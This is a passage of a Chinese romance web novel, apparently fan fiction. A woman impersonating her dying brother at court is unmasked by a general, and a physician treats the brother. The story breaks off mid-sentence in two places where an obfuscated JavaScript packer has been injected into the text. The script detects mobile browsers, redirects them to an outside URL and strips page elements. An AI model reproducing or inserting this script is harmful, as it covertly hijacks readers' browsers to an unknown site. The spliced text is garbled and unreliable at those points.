崔蘅隐在袖子底下的拳头紧紧攥起,她简直心惊肉跳,卢凌风这是怎么了,他不是说要去找别的人了吗,怎么会忽然说这种话,做这种事……该不会是就喜欢这张脸,所以对同自己有着同样面容的崔璋产生什么不该有的兴趣了吧,救命啊,他不会断袖了吧! 崔蘅一路黑着脸,怀着此等怀疑心惊胆战地回到城中,一直到宫门口,卢凌风也没有停下来的意思。崔蘅瞥他一眼,没好气道:“卢将军就送到这里吧!” 卢凌风微微抬了抬下颌:“不行,既然此次是崔右丞带领金吾卫共同执行任务,向天子汇报,我这个金吾卫中郎将怎么也得在场。” 崔蘅重重喷出口气:“卢将军难道担心我在天子面前抢功?!” 卢凌风未置可否,只笑了笑:“崔右丞巧舌如簧,擅弄权术,又有雷霆手段,狠辣心肠,不得不防啊。更何况,我也要向太子汇报军情,怎可不一同前往。” 崔蘅被他气死,心里把卢凌风翻来覆去骂了一百遍,这混蛋真是没良心,她私下里为他打点那么多,居然说她擅弄权术狠辣心肠……他那个太子根本不管他死活,倒是十分忠心,早知道不管他了! 她努力平复一下怒气,往藤椅上一靠,道:“你想跟就跟着好了,走远点,别碍本官的眼。” 卢凌风听出崔蘅生气,还是跟在她藤椅旁侧,缓下语气轻声道:“崔右丞莫气,气坏了身子如何是好。适才是我错了,战场上对待敌人就该心肠狠辣,你可别往心里去啊。” 崔蘅干脆将脸扭到一旁,根本不理会他。 于是从进宫到汇报任务进度,再到从天子宫殿处离开,卢凌风都一直跟着。崔蘅觉得他跟得也太紧了,心里疑惑,莫非卢凌风已经对她的身份产生了怀疑,才这样一直跟着?可是为什么,到底哪里让他察觉不对劲了? 在宫道上不能再坐藤椅,崔蘅只得走路,她走了一会儿,忽然撑着膝盖喘息着抬起头,对旁边的宫人道:“我有些累,不知可否让我在偏殿休息片刻再行离开?” ——不管卢凌风是否怀疑了她的身份,安全起见,都让崔璋来替换她一下吧。 卢凌风立刻一把扶住崔蘅的手臂,关切道:“崔右丞可是身体不适?” “我……!” 她看了一眼被卢凌风这高大身躯隔开的随从,急道:“卢将军快些放手,宫闱重地如此拉拉扯扯,成何体统!自会有人扶我!” “崔右丞就不要在意这些小事了,身体要紧,天子定会体谅。两位大官,有什么地方能稍作休息,我送崔右丞过去。” 他说着直接揽住崔蘅的腰紧紧抱住她,看起来就好像是扶着她似的,他表情很真诚,被他询问的两名宦官也没有产生怀疑,只急忙带着两人往偏殿过去。崔璋近来在天子面前十分得 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卢凌风的长相原本就凌厉威严,他冷冷地从上方俯视她时,崔蘅觉得整个人都被冻住了。崔蘅紧张地吞咽一下,忽然激烈地挣扎起来:“你松开!松开我!你个死断袖,离我远点!” “崔!蘅!” 卢凌风脸都黑了,用力捏住她的下颌,几乎一字一顿地说道:“是不是想我在这扒了你!” “我是崔璋!我妹妹已经死了!卢凌风,你疯了!” 卢凌风胸口重重起伏几下:“既然你不肯承认,那不如将这身衣服脱了,让我看看你到底是男是女。” 崔蘅顿时怂了,比起被卢凌风一个人知道,她更不愿意自己假扮崔璋的事让宫里的人都知道去,孰轻孰重她还是分得清的。她慢慢松开推着卢凌风的手,委委屈屈地瞥他一眼,卢凌风见她这个表情,撩起崔蘅的一片衣角,用力在她脸上搓了几下,竟然什么都没搓下来。 崔蘅疼得龇牙咧嘴,伪声也不维持了:“你别搓了!我是用特殊药水染的,搓不掉的!” 卢凌风捏着她的脸吼道:“你好大的胆子!” 崔蘅干脆破罐破摔了:“我是大胆!我犯了欺君之罪!你去告发我,让天子砍我的脑袋给卢将军出气!” 卢凌风气结:“你……!” 崔蘅眼睛里慢慢涌上泪光:“你以为我愿意这样?!我兄长……我兄长只剩半年寿数,他一旦去了,你知道要死多少人吗?!我手下的记者,还有那么多工匠,全靠兄长庇护,若他没了,那些虎视眈眈的人立刻便能将我们分食干净!” 卢凌风并未被说服:“为何不同我说?!” 崔蘅几乎要口不择言骂他了,卢凌风哪会知道他们那些盘根错节的事情,他又不懂朝堂之事,连自己都护不住,跟他说有什么用啊! 她气得在卢凌风身上用力锤了几下:“那你去告发我!去告发我好了!呜呜呜呜,看那些被我得罪过的人会怎么报复我,把我五马分尸!” 卢凌风用力抓住她的手:“够了!” 他重重吐出一口气,将满腔怒火暂且咽下:“这里不是说话的地方,今夜戌初时分我在府中等你,若敢不来,要你好看。” 崔蘅咬住嘴唇盯着他:“你要干嘛……” 戌初到次日寅时乃是宵禁时段,她去了将军府,她还回得来吗?! 卢凌风冷冷看她一眼:“别逼本将军骂脏话。” “……” 17.只要在身边待着就好 当日戌时,卢凌风正在案前整理案件卷宗,忽然听到外面传来一阵很轻的脚步声。不过他武艺高强,这种刻意放轻的脚步并未逃过卢凌风的耳朵,他抬眼往门口扫了一眼,看见地上投下一片鬼鬼祟祟的阴影。 卢凌风心里暗笑,道:“既然来了,为何躲藏。” 许久,才从门外探进一个鬼鬼祟祟的脑袋,不是崔蘅又是谁。 “卢将军,晚上好……” 卢凌风将手中案卷扔到桌上,抬头看向崔蘅:“还不进来。” 崔蘅慢慢磨蹭进来,卢凌风见她仍旧一副男装打扮,不由皱起眉头:“你怎么还穿成这个样子。” 崔蘅在他旁边坐下:“我总不能穿着女装走到大街上吧!我都已经‘死了’,被熟人看见岂不是要吓死人家。” 卢凌风盯住她:“你也知道会吓死人,扮鬼骗我的时候怎么没想过会吓到我?” 崔蘅抿了抿唇角,露出个讨好的笑容,并默默凑到卢凌风身边挽住他:“卢将军英雄虎胆,岂会被区区鬼魂吓到,我只有对你才敢那样的……而且,我这不是想拿鬼魂做借口见你一面么。” 卢凌风笑了笑,然后伸手钳住崔蘅的两腮,他声音发冷:“少来,本将军早就不吃你这套了。” “那你吃哪套……” “崔知意!” 崔蘅被他一吼,吓得缩起脖子,握着卢凌风的手轻轻从脸上扒拉下来:“你别生气……听我跟你解释。这个计划是从我兄长当官的第一天就开始的,并非临时起意,但是时间太长,或许我潜意识中,并不觉得兄长真的会活不过二十五岁……所以、所以就忘记了。那日他寄来的白色信纸就是暗号,提醒我计划开始,当时我也懵了,我没想到会这么突然,不是故意骗你的。” 卢凌风冷着脸移开视线:“你就这么不信任我,莫非怕我透露出去。” “当然不是,只是……若让你知道,你会赞同吗?” 卢凌风皱着眉沉默下来,这还用问,如此冒险的事他自然不会赞同。但是卢凌风还是不爽:“既然决定离开,为何又同我,同我……” 他说不出口,崔蘅却听懂了——他是想问,为什么要把他睡了。 崔蘅犹豫一下,总不好说就是因为自己任性,一时兴起,这样说卢凌风肯定要生气,所以她决定还是撒个小谎:“我听说你们男子睡到手了更容易忘记……” “你说的是你自己吧!就是这般始乱终弃!” 崔蘅急忙抱住他:“我错了我错了!你打我吧!” 卢凌风看着紧紧抱着他手臂的崔蘅,气得想笑,他抬手便想把她从自己身上扯下来,崔蘅却像狗皮膏药一样从他胳膊上直接扑进他怀里,紧紧抱着他的脖子:“你肯定不舍得!我不抗揍!你打我一拳我就死了!” “你给我下来……” “我不!” 崔蘅把脸埋在卢凌风脖子旁边,整个人像只抱抱熊一样箍在他身上。卢凌风跟她撕扯了好久,都没办法把崔蘅从身上扯下去,终究还是妥协了。他轻轻叹息一声,抱住崔蘅的腰:“你真狠心……骗得我好苦。” 崔蘅听他这样说,眼底忍不住浮出水光:“对不起。我也后悔了,早知不招惹你了……” “你说什么?!” 卢凌风捏着她的脖子从自己怀里拉开一段:“什么叫后悔了?!” 崔蘅看着卢凌风的黑脸,艰难吞咽一下:“我、我说错了,我的意思是,后悔……后悔没早点告诉你,惹你伤心。” 卢凌风睨着她:“这还差不多,你脸上的伤又是怎么回事?” 崔蘅指天发誓:“这绝对是意外,我的小师妹一直想把我脸上的疤痕去掉,研制各种药膏,但是这么多年也没成功,谁知道这次成功了。若不成功,我就要让兄长表演当众伤到脸的戏码了。” 卢凌风这才满意,松开了手。崔蘅呼出一口气,轻轻趴到卢凌风胸口:“不过你到底是怎么看出我的身份的……我觉得我伪装得挺好啊,文武百官,包括天子,都没有怀疑过。” 卢凌风不说话,崔蘅抬头看他,见他表情中隐约透露着得意,道:“跟我说说呗,卢大侦探,只因为我不小心用了破除幻术的方法?” “这只是其中一个疑点,而且你后来解释了,并不能作为证据。真正露馅的是,我故意在你面前说以前曾经去崔家打听过,关于你那个方外的师父的事情,而且用了很亲密的称呼……结果你假扮的崔璋竟然毫无反应。” 卢凌风垂目看他一眼,说出的话没什么底气:“崔璋第一次见我时就一副恨不得杀了我的样子,如今我当众如此称呼他过世的妹妹,他怎么可能无动于衷。而且我还提到了你那个师父,崔家用方外之人的说辞污你名声,若真是崔璋,你也真的……他肯定已经挥拳打过来了。” 崔蘅恍然大悟:“原来是这样,我当时一想到你可能察觉到了,便慌了神,情急之下只顾着解释,哪里想得到这些……卢凌风,你可真阴险!” 卢凌风挑眉盯着她:“所以你还打算继续假扮崔璋吗?在我面前都如此漏洞百出,朝廷上下多少双眼睛,比我卢凌风聪明的大有人在,你早晚要露馅的。” 崔蘅不服气道:“那怎么能一样,他们怎么可能这么了解我的事,我又没跟文武百官都睡唔——” 卢凌风一把捂住他的嘴,将她后半截话堵在口中:“不要再胡说了!” 崔蘅把他的手扯下来,笑嘻嘻地往前凑了凑,仰头看着他:“我不胡说,你亲亲我。” 卢凌风有些不自在地把她推开,脸上微红:“别闹。” 崔蘅继续往他怀里凑:“又没人,你害羞什么……卢将军约我这个时间相见难道不是为了……” 卢凌风顺势搂紧她的腰,低下头恨恨咬住崔蘅的嘴唇,阻止她继续说下去:“胡说八道……把我当什么人了。” “嘿嘿,当然是当人家的情……” 崔蘅的话还没说完,忽然有人从外面风风火火冲了进来:“中郎将……啊!” “啊!” 两声惨叫一同响起,一声是郭庄,还有一声是崔蘅。 这一瞬间,崔蘅很想把自己扔出去,但是她此刻牢固地爬在卢凌风腿上,身后又有案几挡住,她根本逃无可逃,吓得急忙捂着脸往卢凌风怀里躲。卢凌风迅速将座位上一条薄毯扯下来裹在她头上,卢凌风瞪向捂着眼睛站在门口的郭庄,咬牙切齿道:“下次进来,记得敲门!” 郭庄这才反应过来,急忙背过身去:“我、我什么都没看见!” “还不出去!” “是!” 郭庄赶忙应下,跑出了门——这是第几次了,为什么每次都被他撞见,中郎将会不会杀人灭口啊??? 等郭庄离开,卢凌风才松开崔蘅,见她尴尬得恨不得钻进地缝里似的,他有些好笑地捏捏她的脸:“让你胡闹。” “他应该没认出是我吧……” “若认出是你,岂不吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488840|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破了胆。” 卢凌风拍拍她的后脑勺:“还不下去,我出去看一眼。” 崔蘅急忙从卢凌风怀里滚下去,卢凌风离开之前忽然又想起什么似的,回头警告崔蘅:“等我回来,不许偷跑。” 崔蘅撇撇嘴:“知道了——” 卢凌风背着手从房内走出来,见到郭庄,两个人都不自在地移开视线。 “何事?” 郭庄道:“哦,是这样,刚刚恰好遇见崔右丞前来拜访,我让他在前厅等候,本来想立刻来禀报中郎将的,路上被耽搁了一下,再回去看时见崔右丞已然不在,属下怕怠慢了他招惹麻烦,这才急急忙忙来找中郎将通报。” 卢凌风道:“知道了,崔右丞已经在我内室。” “崔右丞也在?” 郭庄脸上露出犹豫的表情:“中郎将,那个……” 卢凌风原本就在为被他撞见感到尴尬,见他似乎还想说什么,急忙解释:“不是你想的那样!否则我怎么可能将崔右丞一同请入内室,总之……很复杂,涉及朝堂,你最好不要问。” 卢凌风说起来一点也不心虚,而且他也没撒谎,崔蘅的事确实牵扯到朝堂局势。 郭庄立刻正色:“是,中郎将,属下就当没看见。” 郭庄转身离开——他就说嘛,崔姑娘刚去世没多久,中郎将怎么可能这么快另寻新欢呢。 卢凌风回来时,崔蘅正像条大虫子一样在他的坐榻上扭曲着,卢凌风抱起手臂靠在门边盯着她,忍不住笑道:“这是在练什么功。” 崔蘅听到他的声音,一骨碌爬起来,愤愤瞪卢凌风一眼:“你为什么不锁门!你锁门他就不会闯进来了!” “我光明磊落,哪有在自己府邸锁门的道理。” 崔蘅突然捂住脸哀嚎:“我不活了!” ——崔蘅也是要脸的人,她只是在卢凌风面前不太要脸而已。 卢凌风见她如此,强忍笑意走过去拍她的头:“好了,郭庄又不知道是你,是我更丢脸。” 崔蘅听了这话,心里总算舒服了一点:“那你还有什么要跟我说啊。” “我认识一位名医,虽然看起来不太靠谱,但是很有些手段,你若信得过我,便让他去为崔右丞诊治,如果能将他治好,岂不是所有问题都解决了。” 崔蘅看着他笑了笑:“以前看过很多大夫,我也以为可以就此治愈,兄长的身体还是每况愈下……罢了,是你推荐的人,就让他看看也无妨,也不辜负你一片好心。” 卢凌风看着她微微皱起眉:“若他也没办法,也还有半年时间,不要这么早放弃,你们的计划,终究太冒险。” 崔蘅点点头,忽然换了副楚楚可怜的模样,将肩头剥出来,靠进卢凌风怀里:“小女子谢过将军,还请将军怜惜……” 卢凌风抓着她的衣襟“唰”地给她扯回去,连着脖子都给她包裹严实:“崔知意!你能不能正常点!” 崔蘅立刻更大声地嚷嚷回去:“装什么正经!你喊人家过来难道不就是为了疼疼疼——” 卢凌风用力扯她的脸,一字一顿道:“今夜我当值。” “……你是懂怎么扫兴的。” 卢凌风挑挑眉:“你给我早点睡,不要乱跑。可千万别让我在大街上抓到你。” 崔蘅抽了抽嘴角,柔柔地抱住他的胳膊:“那、那我服侍将军穿甲……” 卢凌风瞥她一眼:“不必,你老实点待着就是帮我大忙了。” 18.我岂能趁人之危 崔蘅自己一个人在府邸中等卢凌风回来,无事可做,便磨了墨,打算给师父写信,询问为什么会有人在鬼市上使用梵香大梦归。这件事的怪异之处主要不在有人可以拿到它,而是知道它的使用方法,即便不是师父,也该由师姐师兄们教授才能用,那个妖人为何同师门有关。 崔蘅将信写完,卢凌风便巡夜回来了,她拿着信吹了吹,回头去看。卢凌风疑惑地问:“还没休息?” 他一眼看见了崔蘅打算放进信封里的信,走过来狐疑地打量:“在给谁写信?” “我师父,要问一问鬼市上那个妖人的事。” 卢凌风微微挑眉,他现在对崔蘅写信这件事都有阴影了,总觉得她一旦开始写信,就可能准备搞事。崔蘅见他表情这样,也猜到了卢凌风的想法,站起身笑着把信递给他:“当时你也在现场,给你看看,这样写合不合适。” 崔蘅就是为了找理由让他看一眼信的内容,卢凌风脸一红,他再想弄清楚,也不至于去看她写给师父的信,急忙推开:“不必了,你自己斟酌便好。” 崔蘅知他君子作派,不会真的去看她的信,便把信放下,伸手去解他的铠甲:“今天顺利吗?” 卢凌风愣了一下,急忙按住她的手:“我自己来……” 崔蘅把他的手拍掉:“我都解了,怎么,你要系上然后重解一次?” 卢凌风有些难为情:“不习惯。” 崔蘅抬眼笑睨他:“不会吧,卢将军从来没人服侍过?之前试探我是不是兄长时,摸得这么熟练,根本像个情场老手。” 她一边说着,一边把他的铠甲退下来挂到案几旁的架子上,卢凌风跟着走过去揽住她的腰,抱起她狠狠转了个圈,面对自己搂过来:“我确定是你才故意如此,这个世界上难道还有第二个人同你一样怕痒?” 崔蘅没站稳一下扑在他怀里,她咬了咬嘴唇:“你说是就是,反正我又不会不信你。” “你冤枉我!还说信我?” 卢凌风低头抵着崔蘅的额头,在她唇上亲了一下,随后搂紧她的腰往自己这边拉,逐渐加深这个吻。崔蘅浅浅地回应他,却被卢凌风不满地追着吻下来,崔蘅见卢凌风盯着她的眼神,忽然有些汗毛倒立。她紧张地抵住卢凌风的胸口,小声道:“我……我帮你准备了热水,你要不要去沐浴。” 卢凌风轻笑一声:“你什么时候这么贤惠了。” “哼,还不是因为把卢将军给得罪了,想尽力弥补一下嘛,将军只要不再生我的气,怎样都行。” 卢凌风轻轻叹口气,扣着崔蘅的后脑按在怀里:“不需要做这些,知道你还活着,我哪还有心情生气,还有比这更好的消息吗。” 崔蘅用力抓紧他的衣服,隐忍地哽咽道:“卢凌风,你人真好。” 崔蘅感觉他在自己脑后轻轻摸了摸,她抬起头看他一眼,伸手去解他的扣子,卢凌风一把按住她的手,虽然眼神有些危险,却还是克制地说:“不是备水了吗,我要去沐浴。” 崔蘅贼兮兮地笑着凑过去:“要不要我帮忙……” “少来撩拨我,回你房间睡觉。你以前的房间,还给你留着。” 崔蘅有些不解地看他,卢凌风干脆放开她,转身往外走。崔蘅愣了愣,急忙追过去:“什、什么意思啊……” 卢凌风不理她,崔蘅只好跟着他往前走,期期艾艾地问道:“你,真让我回去睡觉?” “别让我说第二次,再不回房间对你不客气!” 卢凌风走进浴房,崔蘅试图跟着他一起进去:“我……我准备好了!” 卢凌风转身把门用力关上,把崔蘅挡在了外面:“回你自己房间。” 崔蘅等了一会儿,小声嘟囔道:“明明是你喊我来的……” 房内的卢凌风大概听到了这句话,将门拉开一条缝:“正因为是我让你来的。” 他看着她柔声道:“且你此刻对我心怀愧疚,我又岂能趁人之危。” 卢凌风又不是傻子,虽然她总是在嘻嘻哈哈地跟他开玩笑,但是从进门那刻开始,她就把歉疚写在脸上了,像是做错了事等他惩戒的小狗,若他真的要求她做什么,她肯定会二话不说就答应下来。 他可做不出这样的事情,她那副样子也实在令他不忍苛责。 “可是……!” 崔蘅向前走了一步,面前只打开一条缝的门被彻底关上了,崔蘅拉着门尝试扯了几下,这人居然从里面把门锁住了! 崔蘅愣半天,慢慢转身往自己房间的方向走去,她走在路上,忽然轻笑一声:“笨蛋……” 卢凌风曾经不止一次骂过崔蘅,说她警惕性差,在他一个大男人身边时总是大大咧咧没自觉。但其实她只有在卢凌风身边时才会这样,崔蘅见识过的恶劣的男性很多,不管是假装不知情,还是故意占便宜,面对女孩子时,一个比一个精明,甚至更有得了便宜卖乖的。唯有卢凌风不会如此,他向来光明磊落,不管面对何人,都如此。 唉,像她这种心机深沉手段狠辣的奸臣,最喜欢这种人了。 第二天宵禁之后,崔蘅才从卢凌风家里离开,值岗的金吾卫虽然都不敢说什么,一个个却都睁大眼睛,他们纯洁的小脑瓜怎么都想不通,为什么一个男人会在另外一个男人家里过夜。但是这件事的两个当事人好像都十分坦荡,卢凌风甚至招了两个人来,为崔蘅推轮椅,嘱咐他们好好将崔右丞送回府中。 因上次行动中崔蘅是金吾卫的监督官,金吾卫对她还存着恭敬之心,毕竟她可是天子钦点的人,不管心里服不服,面上都得服的。 卢凌风见她离开,也出了门,他要去寻费鸡师,看病的事宜早不宜迟,若崔璋真不行了,崔蘅天天女扮男装骗文武百官,光是想想都觉得心惊肉跳。 于是前一晚醉倒在长安县尉的寓所的费鸡师被一阵大力晃醒了之后,就看到了床边双眼放光盯着他的卢凌风。 他以为自己在做梦。 费鸡师往窗外看了一眼,太阳还没爬到当中,费鸡师顿时火了:“卢凌风!你有病?!天还没亮,你叫我做甚!” 卢凌风也不生气,语气兴奋道:“快起来,你的富贵来了。” “富贵?什么富贵?我现在能吃上鸡喝上酒就是富贵了!” 卢凌风轻笑一声:“你如果能救了今天这个人,别说喝酒吃鸡,就是日日宴席,也吃得起。” 费鸡师顿时来了兴趣:“哦?是谁?” 他想了一下,忽然睁大眼睛:“不会是你大舅哥吧!” 卢凌风被噎了一下,皱眉道:“是崔右丞,但是你不要胡说。” 苏无名在一旁听了半天,忽然笑了一声:“上次他帮了卢将军,卢将军这是想还人情?” 卢凌风道:“非也,单纯因为他值得救。” “哦?你对此人评价挺高嘛,不会是因为爱屋及乌吧?据我所知,此人虽年少,手段却雷霆狠辣,连自己的父兄都不放过,朝中上下对他都十分忌惮。” 卢凌风冷哼一声:“苏无名,你少在那阴阳怪气。你可以去查一查,崔璋到底是不是个好官。他来长安之前的事且不说,只说他查抄的那些,哪个不是贪官,又污蔑了哪一个?他的父兄鱼肉百姓欺压良善,如何不能查?怎可因他能力强就恶意揣测。” 苏无名急忙摆摆手:“卢将军误会了,更何况,不论如何,救人一命都是大功,该救,该救!” 费鸡师听着也觉得颇感兴趣:“这么说,此人确实年少有为啊。不错不错,说不定真是我老费的富贵来了!” 崔璋近来身体情况越发不好了,一天中大部分时间都在昏睡,就连崔蘅昨夜彻夜未归这件事都不知道。所以当卢凌风带着人上门时,是崔蘅戴着面纱将他们引入内室。 费鸡师在崔璋腕上搭脉一摸,神色顿时严肃起来,崔蘅在一旁看着,紧张得不得了——以往请的大夫刚开始也都是如此神色,都不给个痛快的准话,到底是否能治,只说调养,结果调养着调养着,就调养成这样了。她几乎把手里的帕子绞成个麻花,就怕费鸡师说出同以前那些大夫一样的话。 费鸡师把脉许久,又为他换只手继续把了一会儿,才松口气道:“崔右丞竟然病重如此,还在娘胎时就体虚,后又被喂毒,虽然后来停了,但是体内余毒未清,又身体羸弱。时间长了,就没救了。不过现在还好,还不算晚,有一线生机。” 崔蘅听他竟然将崔璋的情况说得八九不离十,又听说有一线生机,瞬间激动起来,她马上朝费鸡师行一大礼:“还请神医尽力救治,不论什么药材,花多少钱,只要能救他,都在所不惜。” 卢凌风在一旁看着也有些焦急,崔蘅从未说过以前的事,但是他们兄妹二人身上竟然都有毒,怎么看都不像拥有幸福童年的人:“老费,既然能救,便快开药吧。” 费鸡师摆摆手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490217|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们先别急,我先为他施针,等他醒过来,再开药方不迟。否则我开了药,他昏迷着,难道能吃进去啊?” 崔蘅是见过针灸的,银因而也没阻止,费鸡师取出他的针包,在崔璋身上扎了几处,慢慢转动银针,没多久,明显看出崔璋轻轻吐出一口气,然后慢慢睁开了眼睛。崔蘅立刻激动地抓住卢凌风的手——她知道中医有时候十分神奇,但是自从来了这里,看了那么多名气大的名医,这还是第一次见识到一个让她真心觉得“神奇”的中医。 卢凌风也十分紧张,见崔璋睁开眼睛了,握住她的手轻轻拍几下:“别紧张,老费医术高明,崔右丞定会无事。” 费鸡师施针之后,又去写了药方交给崔蘅:“待他完全清醒,按照这个方子抓药,吃一个月,再来问诊换药方。” 崔蘅急忙接过药方,感激地朝费鸡师又行了一礼,她拿过桌上的一个托盘:“多谢费神医,这是诊金,还请收下。” 崔蘅准备了一整盘的银铤,布一揭开,将费鸡师惊得倒退几步:“这、这么多?!” 崔蘅笑了笑:“费神医救我家人一命,再多都不嫌多的,更何况也不只看这一次,听您的意思,后续还要复诊,换药方,还不知要如何麻烦神医,快请收下吧。” 费鸡师下意识看了卢凌风一眼,后者将手背起,微微抬起下巴:“崔右丞不缺钱,你收下便是。” 费鸡师便美滋滋地从托盘里拿了银子,不过他只拿了一半,对崔蘅道:“小姑娘,我看你通情达理,待人接物坦然大气,必定是世家大族教养出来的女儿。老费我呢,也不能占你们便宜,诊金我先收一半,待崔右丞病愈,再付我另一半,如此可好啊?” 崔蘅忍不住笑了声:“好,听您的。费神医真是讲究人。” 费鸡师开完方子之后便要离开,卢凌风将他送到门外,道:“老费,你先回去吧,我在这里帮帮忙。哎,路上可别露财啊,省得被人劫道。” “切,用你操心。” 卢凌风回去的时候,崔璋已经醒了,不过可能因为昏迷时间太长,还是有些虚弱,崔蘅含着眼泪坐在床边看着他,脸上却是笑意:“兄长,你现在觉得如何?” 崔璋没说话,下一秒看到她身后的卢凌风,立刻皱起眉头:“卢凌风?你怎么在这里……是你把我妹妹惹哭了?” 崔蘅呆了一下,回头看见一脸无语的卢凌风,她忍不住想笑,卢凌风总说崔璋对他防贼一样,她还没感觉,如今一看,此言好似不虚。卢凌风用那种方式试探,她扮演的崔璋都没揍他,也难怪被他一眼就看出她是假的。 “兄长,是卢将军为你请了名医,你才能醒过来,我们该好好感谢卢将军。” 崔璋被崔蘅扶起来靠在床头坐着,他皱着眉头看看卢凌风,又看看崔蘅,此时才反应过来:“不对,阿蘅,你怎么让他知道了。” 卢凌风微微挑眉:“若非我知道了,还不知崔右丞已经病重如此。你们的计划风险太大,她一旦被识破身份,便是死局。” 崔璋犹豫一下,看向崔蘅:“阿蘅……” 崔蘅笑了一下:“你们两个就别互相吓唬彼此了,如果兄长身体好转,我自然不会再冒险,现在当务之急是治好兄长的病。兄长,我吩咐人准备了米粥,你饿不饿?吃一点吧,药已经让人去熬了,吃过饭再吃药。” 卢凌风见她将事情安排妥当,便要告辞,崔蘅急忙跟出来:“我送送你。” 出了崔璋的房间,崔蘅忽然拉住卢凌风,一把抱住了他。后者僵了一下,但是很快放松下来,崔璋府上下人很少,家里做主的也是崔蘅,虽然现在是大白天,倒是没多少人看见。 “卢凌风,谢谢你。” 卢凌风抱着她在崔蘅背后轻拍:“你都谢过好多次了。” 崔蘅看他一眼,笑着抬头凑过去,在他脸上飞速亲一下:“那也要谢。” 卢凌风喉结快速滑动了一下,他隐忍地瞪她一眼:“这点谢礼可不够,崔小姐别想糊弄我。” 崔蘅明白过来他说得什么,脸一下子红了,马上推他:“你快走!” 卢凌风揽住崔蘅转到垂花廊的屏风后面,许久之后,卢凌风将手从崔蘅衣服底下抽出来,贴在她耳边轻喘:“先讨点利息,其他的成亲之后再算。” 崔蘅狠狠捶他两下,她气喘吁吁地靠在垂花廊下,将扣子一颗颗系上:“你快走!我不送你了!登徒子!” 19.剧情它终究还是来了 师父的回信寄过来时,崔璋已经能下床走动了,费鸡师开得药是有效果的,要知道在这之前,即便他的病情没恶化时,都不能长时间走动,如今体力竟然跟得上了。费鸡师说,崔璋所中之毒十分歹毒,最开始只是令他虚弱,若不彻底拔除毒素,后面毒的效果会越来越强烈,随着年龄增加,即便不再服毒,毒素的效果也会叠加,如此一来,崔璋必定活不过25。 费鸡师第一副药的作用就是清除他体内余毒,这一步十分重要,若这一步不成功,后面调养身体时,不论吃多少好东西,都如泥牛入海,根本无用。 费鸡师还问过崔蘅,问她是不是也中过毒,要不要他一起看看。崔蘅觉得也可以,便让费鸡师帮她把了脉,费鸡师惊讶道:“你身上确实有毒,不过似乎已经被克制住了,而且这毒十分怪异,我没有把握能治。” 崔蘅将袖子放下来,笑了笑:“或许这毒本就不是凡间之物,若非结识了我不那位方外的师父,也找不到克制之法。” 崔蘅到现在都无法形容她那个神奇的师门,各种各样的人都有,还能做出各种各样的药。师门内大多数人都住在山上,还有一部分像崔蘅这样入世的底子,但是也要接师门任务。这次师门寄回来的信中,除了解释梵香大梦归的事情,也向崔蘅发布了师门任务,令她去收集烛蛇之胆,又要炼丹药了。一般说来,在古代凡提到炼丹,便会想到毒朱砂,崔蘅拥有现代人的灵魂,对炼丹就更警惕了。但是他们师门的丹药却不同,只含有草药,和一些奇奇怪怪的异兽。比如她现在在吃的聚阳丹,其中起作用的一味药材就是火鼠的肝脏,听说是一个师妹在东南大山里抓到的。 师父给的回信中说,五师兄曾经救过一名重伤之人,那时他绝望欲寻短见,五师兄心善,便赠他梵香,并教会他使用方法,让他去长安碰碰运气,寻个活路。却没想到,这人得此机缘,竟拿来为非作歹。 “辱我师门,可杀。” 这是师父对那个妖人的态度,也是对崔蘅的命令。 崔蘅仰天长叹,这些方外之人什么都好,就是,有时候也太单纯了,这么好骗。 信的最后附了两张图,一张是烛蛇的画像,一张是烛蛇在历史上曾经出现过的位置,这两张图只是为崔蘅寻找烛蛇做一个指引,更有可能的是,它标注的历史上出现的位置同实际情况南辕北辙,它画得画像也跟真正得烛蛇根本不一样,只能做个参考罢了。最有用的那句话是,烛蛇之胆为绿色,有荧光,月光下通体剔透,犹如绿宝石。 那就是得剖出来才知道到底是不是目标物……崔蘅决定把图上标注的地点全部去一遍,总之兄长的情况也稳定下来,倒是可以暂时离开长安一段时间。 卢凌风最近很忙,似乎在同长安县的人一起查那个新娘失踪的案子,崔璋又来上眼药了:“卢凌风整天不务正业的,查案又不归金吾卫管,他总瞎忙活什么。” 崔蘅正在规划去找烛蛇的路线,随口答道:“我早就发现了,他对自己现在的工作没多少热情,倒是爱查案。” 想当警察结果当了个皇城警卫员,天天巡逻站岗,可把他闷坏了。也是可以理解的,成年人有几个能喜欢自己的本职工作呢。 崔璋凑过来看了一眼:“怎么?这次要自己去?” 以往崔蘅收到任务,走不开时会拜托师兄妹们帮忙,但是如今兄长身体大好,目前她手里又没要做的事,便决定自己去。 崔蘅点点头:“嗯,我也好几年没接师门任务了,不能用让别人替。” 崔璋道:“让武奇和飞洛跟你一起,路上保护你。” 武奇和飞洛是他们培养的侍卫中武艺最好的,由他俩保护崔蘅才能放心。 “好,知道了。” 她们俩正在闲聊着,下人忽然来禀,说是费鸡师带了长安县尉求见。 崔璋皱皱眉:“费鸡师?今日还不到复诊时间。” 崔蘅道:“或许有别的事,快请他们进来。” 她一边说一边把面纱戴上,对崔璋道:“等一下我躲在屏风后面,若听到什么可疑的东西,给你暗号。” 崔璋疑惑:“为何这般?” “来的人里有长安县尉,前段时间与金吾卫查长安红茶时,跟长安县的案子有交叉,卢凌风最近又跟他们走得近,我怕是跟那些事有关。你当时病着,没有参与,万一真的有关,你回答不上来岂不是露馅了。” 